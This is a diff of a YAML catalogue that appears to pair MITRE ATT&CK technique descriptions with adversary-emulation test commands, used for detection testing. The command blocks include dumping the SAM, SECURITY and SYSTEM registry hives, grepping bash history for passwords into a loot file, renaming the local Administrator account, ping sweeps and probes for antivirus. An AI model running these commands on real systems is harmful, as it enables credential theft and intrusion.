account.(Citation: Microsoft AZ CLI)(Citation: + Black Hills Red Teaming MS AD Azure, 2018)" + id: attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce + x_mitre_platforms: + - Linux + - macOS + - Windows + - Office 365 + - Azure AD object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - modified: '2018-10-17T00:14:20.652Z' + x_mitre_version: '2.0' + type: attack-pattern x_mitre_detection: |- - System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_contributors: + - Microsoft Threat Intelligence Center (MSTIC) + created: '2017-05-31T21:30:55.471Z' kill_chain_phases: - - phase_name: discovery - kill_chain_name: mitre-attack - id: attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104 - name: System Owner/User Discovery - created: '2017-05-31T21:30:35.733Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - ### Windows - - Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. - - ### Mac - - On Mac, the currently logged in user can be identified with users,w, and who. - - ### Linux - - On Linux, the currently logged in user can be identified with w and who. - x_mitre_permissions_required: - - User - - Administrator - identifier: T1033 + - kill_chain_name: mitre-attack + phase_name: discovery + external_references: + - external_id: T1069 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1069 + - source_name: capec + external_id: CAPEC-576 + url: https://capec.mitre.org/data/definitions/576.html + - source_name: Microsoft msrole + description: Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019. + url: https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0 + - source_name: GitHub Raindance + description: Stringer, M.. (2018, November 21). RainDance. Retrieved October + 6, 2019. + url: https://github.com/True-Demon/raindance + - source_name: Microsoft AZ CLI + description: Microsoft. (n.d.). az ad user. Retrieved October 6, 2019. + url: https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest + - source_name: Black Hills Red Teaming MS AD Azure, 2018 + description: Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active + Directory Leaks via Azure. Retrieved October 6, 2019. + url: https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/ + modified: '2019-10-18T20:37:17.043Z' + identifier: T1069 atomic_tests: - - name: System Owner/User Discovery - description: 'Identify System owner or users on an endpoint + - name: Elevated group enumeration using net group + description: 'Runs ''net group'' command including command aliases and loose + typing to simulate enumeration/discovery of high value domain groups ' supported_platforms: - windows - input_arguments: - computer_name: - description: Name of remote computer - type: string - default: computer1 executor: name: command_prompt elevation_required: false command: | - cmd.exe /C whoami - wmic useraccount get /ALL - quser /SERVER:"#{computer_name}" - quser - qwinsta.exe" /server:#{computer_name} - qwinsta.exe - for /F "tokens=1,2" %i in ('qwinsta /server:#{computer_name} ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > usernames.txt - @FOR /F %n in (computers.txt) DO @FOR /F "tokens=1,2" %i in ('qwinsta /server:%n ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > usernames.txt - - name: System Owner/User Discovery - description: 'Identify System owner or users on an endpoint - -' - supported_platforms: - - linux - - macos - executor: - name: sh - elevation_required: false - command: | - users - w - who - T1007: + net group /domai 'Domain Admins' + net groups 'Account Operators' /doma + net groups 'Exchange Organization Management' /doma + net group 'BUILTIN\Backup Operators' /doma + T1057: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1007 - source_name: mitre-attack - external_id: T1007 - - url: https://capec.mitre.org/data/definitions/574.html - source_name: capec - external_id: CAPEC-574 - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: - Process monitoring - Process command-line parameters - modified: '2018-10-17T00:14:20.652Z' + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM + name: Process Discovery + description: |- + Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. + + ### Windows + + An example command that would obtain details on processes is "tasklist" using the [Tasklist](https://attack.mitre.org/software/S0057) utility. + + ### Mac and Linux + + In Mac and Linux, this is accomplished with the ps command. + id: attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580 + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + x_mitre_system_requirements: + - Administrator, SYSTEM may provide better process ownership details + type: attack-pattern x_mitre_detection: |- System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - Monitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). + Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + created: '2017-05-31T21:30:48.728Z' kill_chain_phases: - - phase_name: discovery - kill_chain_name: mitre-attack - id: attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa - name: System Service Discovery - created: '2017-05-31T21:30:21.315Z' - x_mitre_version: '1.0' - type: attack-pattern - description: Adversaries may try to get information about registered services. - Commands that may obtain information about services using operating system - utilities are "sc," "tasklist /svc" using [Tasklist](https://attack.mitre.org/software/S0057), - and "net start" using [Net](https://attack.mitre.org/software/S0039), but - adversaries may also use other tools as well. - x_mitre_permissions_required: - - User - - Administrator - - SYSTEM - identifier: T1007 + - kill_chain_name: mitre-attack + phase_name: discovery + external_references: + - external_id: T1057 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1057 + - source_name: capec + external_id: CAPEC-573 + url: https://capec.mitre.org/data/definitions/573.html + modified: '2019-08-12T19:49:12.584Z' + identifier: T1057 atomic_tests: - - name: System Service Discovery - description: 'Identify system services - -' - supported_platforms: - - windows - input_arguments: - service_name: - description: Name of service to start stop, query - type: string - default: svchost.exe - executor: - name: command_prompt - elevation_required: true - command: | - tasklist.exe - sc query - sc query state= all - sc start #{service_name} - sc stop #{service_name} - wmic service where (displayname like "#{service_name}") get name - - name: System Service Discovery - net.exe - description: 'Enumerates started system services using net.exe and writes them - to a file. This technique has been used by multiple threat actors. + - name: Process Discovery - ps + description: 'Utilize ps to identify processes ' supported_platforms: - - windows + - macos + - centos + - ubuntu + - linux input_arguments: output_file: - description: Path of file to hold net.exe output - type: Path - default: C:\Windows\Temp\service-list.txt + description: path of output file + type: path + default: "/tmp/loot.txt" executor: - name: command_prompt + name: sh elevation_required: false - command: 'net.exe start >> #{output_file} - -' - T1124: + command: | + ps >> #{output_file} + ps aux >> #{output_file} + T1012: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1124 - source_name: mitre-attack - external_id: T1124 - - url: https://msdn.microsoft.com/ms724961.aspx - source_name: MSDN System Time - description: Microsoft. (n.d.). System Time. Retrieved November 25, 2016. - - url: https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf - source_name: RSA EU12 They're Inside - description: Rivner, U., Schwartz, E. (2012). They’re Inside… Now What?. Retrieved - November 25, 2016. - - url: https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings - source_name: Technet Windows Time Service - description: Mathers, B. (2016, September 30). Windows Time Service Tools - and Settings. Retrieved November 25, 2016. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: + - Windows Registry - Process monitoring - Process command-line parameters - - API monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: Command-line interface monitoring may be useful to detect - instances of net.exe or other command-line utilities being used to gather - system time or time zone. Methods of detecting API use for gathering this - information are likely less useful due to how often they may be used by legitimate - software. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM + name: Query Registry + description: |- + Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software. + + The Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. + id: attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896 x_mitre_platforms: - Windows - kill_chain_phases: - - phase_name: discovery - kill_chain_name: mitre-attack - id: attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077 - name: System Time Discovery - created: '2017-05-31T21:31:37.450Z' - x_mitre_version: '1.0' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' type: attack-pattern - description: |- - The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service) + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - An adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a [Scheduled Task](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting. - x_mitre_permissions_required: - - User - identifier: T1124 + Interaction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:30:25.584Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: discovery + external_references: + - external_id: T1012 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1012 + - source_name: capec + external_id: CAPEC-647 + url: https://capec.mitre.org/data/definitions/647.html + - source_name: Wikipedia Windows Registry + description: Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015. + url: https://en.wikipedia.org/wiki/Windows_Registry + modified: '2019-08-12T19:53:51.766Z' + identifier: T1012 atomic_tests: - - name: System Time Discovery - description: 'Identify the system time + - name: Query Registry + description: | + Query Windows Registry + References: -' - supported_platforms: + https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order + + https://blog.cylance.com/windows-registry-persistence-part-1-introduction-attack-phases-and-windows-services + + References: + + http://www.handgrep.se/repository/cheatsheets/postexploitation/WindowsPost-Exploitation.pdf + + https://www.offensive-security.com/wp-content/uploads/2015/04/wp.Registry_Quick_Find_Chart.en_us.pdf + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: true + command: | + reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" + reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce + reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce + reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices + reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices + reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify + reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit + reg query HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell + reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell + reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad + reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce + reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx + reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run + reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run + reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce + reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run + reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run + reg query hklm\system\currentcontrolset\services /s | findstr ImagePath 2>nul | findstr /Ri ".*\.sys$" + reg Query HKLM\Software\Microsoft\Windows\CurrentVersion\Run + reg save HKLM\Security security.hive + reg save HKLM\System system.hive + reg save HKLM\SAM sam.hive + T1018: + technique: + x_mitre_data_sources: + - Network protocol analysis + - Process monitoring + - Process use of network + - Process command-line parameters + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM + name: Remote System Discovery + description: "Adversaries will likely attempt to get a listing of other systems + by IP address, hostname, or other logical identifier on a network that may + be used for Lateral Movement from the current system. Functionality could + exist within remote access tools to enable this, but utilities available on + the operating system could also be used. Adversaries may also use local host + files in order to discover the hostname to IP address mappings of remote systems. + \n\n### Windows\n\nExamples of tools and commands that acquire this information + include \"ping\" or \"net view\" using [Net](https://attack.mitre.org/software/S0039). + The contents of the C:\\Windows\\System32\\Drivers\\etc\\hosts + file can be viewed to gain insight into the existing hostname to IP mappings + on the system.\n\n### Mac\n\nSpecific to Mac, the bonjour protocol + to discover additional Mac-based systems within the same broadcast domain. + Utilities such as \"ping\" and others can be used to gather information about + remote systems. The contents of the /etc/hosts file can be viewed + to gain insight into existing hostname to IP mappings on the system.\n\n### + Linux\n\nUtilities such as \"ping\" and others can be used to gather information + about remote systems. The contents of the /etc/hosts file can + be viewed to gain insight into existing hostname to IP mappings on the system.\n\n### + Cloud\n\nIn cloud environments, the above techniques may be used to discover + remote systems depending upon the host operating system. In addition, cloud + environments often provide APIs with information about remote systems and + services.\n" + id: attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735 + x_mitre_platforms: + - Linux + - macOS + - Windows + - GCP + - Azure + - AWS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '2.0' + type: attack-pattern + x_mitre_detection: "System and network discovery techniques normally occur throughout + an operation as an adversary learns the environment. Data and events should + not be viewed in isolation, but as part of a chain of behavior that could + lead to other activities, such as Lateral Movement, based on the information + obtained.\n\nNormal, benign system and network events related to legitimate + remote system discovery may be uncommon, depending on the environment and + how they are used. Monitor processes and command-line arguments for actions + that could be taken to gather system and network information. Remote access + tools with built-in features may interact directly with the Windows API to + gather information. Information may also be acquired through Windows system + management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) + and [PowerShell](https://attack.mitre.org/techniques/T1086). " + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Praetorian + - RedHuntLabs (@redhuntlabs) + created: '2017-05-31T21:30:28.187Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: discovery + external_references: + - external_id: T1018 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1018 + - source_name: capec + external_id: CAPEC-292 + url: https://capec.mitre.org/data/definitions/292.html + modified: '2019-10-08T20:36:57.696Z' + identifier: T1018 + atomic_tests: + - name: Remote System Discovery - net + description: 'Identify remote systems with net.exe + +' + supported_platforms: - windows - input_arguments: - computer_name: - description: computer name to query - type: string - default: computer1 executor: name: command_prompt elevation_required: false command: | - net time \\#{computer_name} - w32tm /tz - - name: System Time Discovery - PowerShell - description: 'Identify the system time via PowerShell + net view /domain + net view + - name: Remote System Discovery - ping sweep + description: 'Identify remote systems via ping sweep ' supported_platforms: - windows executor: - name: powershell + name: command_prompt elevation_required: false - command: 'Get-Date + command: 'for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i ' -credential-access: - T1098: - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1098 - source_name: mitre-attack - external_id: T1098 - - url: https://docs.microsoft.com/windows/device-security/auditing/event-4738 - source_name: Microsoft User Modified Event - description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account - was changed. Retrieved June 30, 2017.' - - url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM - source_name: InsiderThreat ChangeNTLM July 2017 - description: Warren, J. (2017, July 11). Manipulating User Passwords with - Mimikatz. Retrieved December 4, 2017. - - url: https://github.com/gentilkiwi/mimikatz/issues/92 - source_name: GitHub Mimikatz Issue 92 June 2017 - description: 'Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm - work, but generate Windows events #92. Retrieved December 4, 2017.' - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Tim MalcomVetter - x_mitre_data_sources: - - Authentication logs - - API monitoring - - Windows event logs - - Packet capture - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738. (Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ (Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password. (Citation: GitHub Mimikatz Issue 92 June 2017) + - name: Remote System Discovery - arp + description: 'Identify remote systems via arp - Use of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: credential-access - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27 - name: Account Manipulation - created: '2017-05-31T21:31:12.196Z' - x_mitre_version: '1.0' - type: attack-pattern - description: Account manipulation may aid adversaries in maintaining access - to credentials and certain permission levels within an environment. Manipulation - could consist of modifying permissions, modifying credentials, adding or changing - permission groups, modifying account settings, or modifying how authentication - is performed. These actions could also include account activity designed to - subvert security policies, such as performing iterative password updates to - subvert password duration policies and preserve the life of compromised credentials. - In order to create or manipulate accounts, the adversary must already have - sufficient permissions on systems or the domain. - x_mitre_permissions_required: - - Administrator - identifier: T1098 - atomic_tests: - - name: Admin Account Manipulate - description: 'Manipulate Admin Account Name +' + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: false + command: 'arp -a + +' + - name: Remote System Discovery - arp nix + description: 'Identify remote systems via arp + +' + supported_platforms: + - linux + - macos + executor: + name: sh + elevation_required: false + command: 'arp -a | grep -v ''^?'' + +' + - name: Remote System Discovery - sweep + description: 'Identify remote systems via ping sweep + +' + supported_platforms: + - linux + - macos + executor: + name: sh + elevation_required: false + command: 'for ip in $(seq 1 254); do ping -c 1 192.168.1.$ip -o; [ $? -eq + 0 ] && echo "192.168.1.$ip UP" || : ; done + +' + - name: Remote System Discovery - nslookup + description: 'Powershell script that runs nslookup on cmd.exe against the local + /24 network of the first network adaptor listed in ipconfig ' supported_platforms: @@ -14905,8182 +15151,8599 @@ credential-access: name: powershell elevation_required: true command: | - $x = Get-Random -Minimum 2 -Maximum 9999 - $y = Get-Random -Minimum 2 -Maximum 9999 - $z = Get-Random -Minimum 2 -Maximum 9999 - $w = Get-Random -Minimum 2 -Maximum 9999 - Write-Host HaHaHa_$x$y$z$w - - $hostname = (Get-CIMInstance CIM_ComputerSystem).Name - - $fmm = Get-CimInstance -ClassName win32_group -Filter "name = 'Administrators'" | Get-CimAssociatedInstance -Association win32_groupuser | Select Name - - foreach($member in $fmm) { - if($member -like "*Administrator*") { - Rename-LocalUser -Name $member.Name -NewName "HaHaHa_$x$y$z$w" - Write-Host "Successfully Renamed Administrator Account on" $hostname - } - } - T1139: + $localip = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1] + $pieces = $localip.split(".") + $firstOctet = $pieces[0] + $secondOctet = $pieces[1] + $thirdOctet = $pieces[2] + foreach ($ip in 1..255 | % { "$firstOctet.$secondOctet.$thirdOctet.$_" } ) {cmd.exe /c nslookup $ip} + T1063: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1139 - source_name: mitre-attack - external_id: T1139 - - url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way - source_name: External to DA, the OS X Way - description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to - DA, the OS X Way. Retrieved July 3, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: - File monitoring - Process monitoring - Process command-line parameters - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: Monitoring when the user's .bash_history is - read can help alert to suspicious activity. While users do typically rely - on their history of commands, they often access this history through other - utilities like "history" instead of commands like cat ~/.bash_history. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - kill_chain_phases: - - phase_name: credential-access - kill_chain_name: mitre-attack - id: attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8 - name: Bash History - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern - description: 'Bash keeps track of the commands users type on the command-line - with the "history" utility. Once a user logs out, the history is flushed to - the user’s .bash_history file. For each user, this file resides - at the same location: ~/.bash_history. Typically, this file keeps - track of the user’s last 500 commands. Users often type usernames and passwords - on the command-line as parameters to programs, which then get saved to this - file when they log out. Attackers can abuse this by looking through the file - for potential credentials. (Citation: External to DA, the OS X Way)' x_mitre_permissions_required: - User - identifier: T1139 + - Administrator + - SYSTEM + name: Security Software Discovery + description: |- + Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. + + + ### Windows + + Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. + + ### Mac + + It's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software. + id: attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7 + x_mitre_platforms: + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '2.1' + type: attack-pattern + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. + + Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:30:51.330Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: discovery + external_references: + - external_id: T1063 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1063 + modified: '2019-09-12T19:56:36.399Z' + identifier: T1063 atomic_tests: - - name: Search Through Bash History - description: 'Search through bash history for specifice commands we want to - capture + - name: Security Software Discovery + description: 'Methods to identify Security Software on an endpoint + +' + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: false + command: | + netsh.exe advfirewall firewall show all profiles + tasklist.exe + tasklist.exe | findstr /i virus + tasklist.exe | findstr /i cb + tasklist.exe | findstr /i defender + tasklist.exe | findstr /i cylance + - name: Security Software Discovery - powershell + description: 'Methods to identify Security Software on an endpoint + +' + supported_platforms: + - windows + executor: + name: powershell + elevation_required: false + command: | + get-process | ?{$_.Description -like "*virus*"} + get-process | ?{$_.Description -like "*carbonblack*"} + get-process | ?{$_.Description -like "*defender*"} + get-process | ?{$_.Description -like "*cylance*"} + - name: Security Software Discovery - ps + description: 'Methods to identify Security Software on an endpoint ' supported_platforms: - linux - macos - input_arguments: - bash_history_filename: - description: Path of the bash history file to capture - type: Path - default: "~/.bash_history" - bash_history_grep_args: - description: grep arguments that filter out specific commands we want to - capture - type: Path - default: "-e '-p ' -e 'pass' -e 'ssh'" - output_file: - description: Path where captured results will be placed - type: Path - default: "~/loot.txt" executor: name: sh - command: 'cat #{bash_history_filename} | grep #{bash_history_grep_args} > - #{output_file} + elevation_required: false + command: | + ps -ef | grep Little\ Snitch | grep -v grep + ps aux | grep CbOsxSensorService + - name: Security Software Discovery - Sysmon Service + description: 'Discovery of an installed Sysinternals Sysmon service using driver + altitude (even if the name is changed). ' - T1110: + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: true + command: fltmc.exe | findstr.exe 385201 + T1082: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1110 - source_name: mitre-attack - external_id: T1110 - - url: https://en.wikipedia.org/wiki/Password_cracking - source_name: Wikipedia Password cracking - description: Wikipedia. (n.d.). Password cracking. Retrieved December 23, - 2015. - - url: https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf - source_name: Cylance Cleaver - description: Cylance. (2014, December). Operation Cleaver. Retrieved September - 14, 2017. - - url: http://www.blackhillsinfosec.com/?p=4645 - source_name: BlackHillsInfosec Password Spraying - description: Thyer, J. (2015, October 30). Password Spraying & Other Fun with - RPCCLIENT. Retrieved April 25, 2017. - - url: https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing - source_name: Trimarc Detecting Password Spraying - description: 'Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password - Spraying with Security Event Auditing. Retrieved January 16, 2019.' - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - John Strand - - Ed Williams, Trustwave, SpiderLabs + x_mitre_permissions_required: + - User x_mitre_data_sources: - - Authentication logs - modified: '2019-02-15T21:09:55.950Z' - x_mitre_detection: "It is difficult to detect when hashes are cracked, since - this is generally done outside the scope of the target network. \n\nMonitor - authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). - If authentication failures are high, then there may be a brute force attempt - to gain access to a system using legitimate credentials.\n\nAlso monitor for - many failed authentication attempts across various accounts that may result - from password spraying attempts.\n\nFor password spraying consider the following(Citation: - Trimarc Detecting Password Spraying):\n\n* Domain Controllers: \"Audit Logon\" - (Success & Failure) for event ID 4625.\n* Domain Controllers: \"Audit Kerberos - Authentication Service\" (Success & Failure) for event ID 4771.\n* All systems: - \"Audit Logon\" (Success & Failure) for event ID 4648." - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: credential-access - kill_chain_name: mitre-attack - id: attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd - name: Brute Force - created: '2017-05-31T21:31:22.767Z' - x_mitre_version: '1.1' - type: attack-pattern + - Azure activity logs + - Stackdriver logs + - AWS CloudTrail logs + - Process monitoring + - Process command-line parameters + name: System Information Discovery description: |- - Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained. + An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. - [Credential Dumping](https://attack.mitre.org/techniques/T1003) is used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1075) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking) + ### Windows - Adversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause 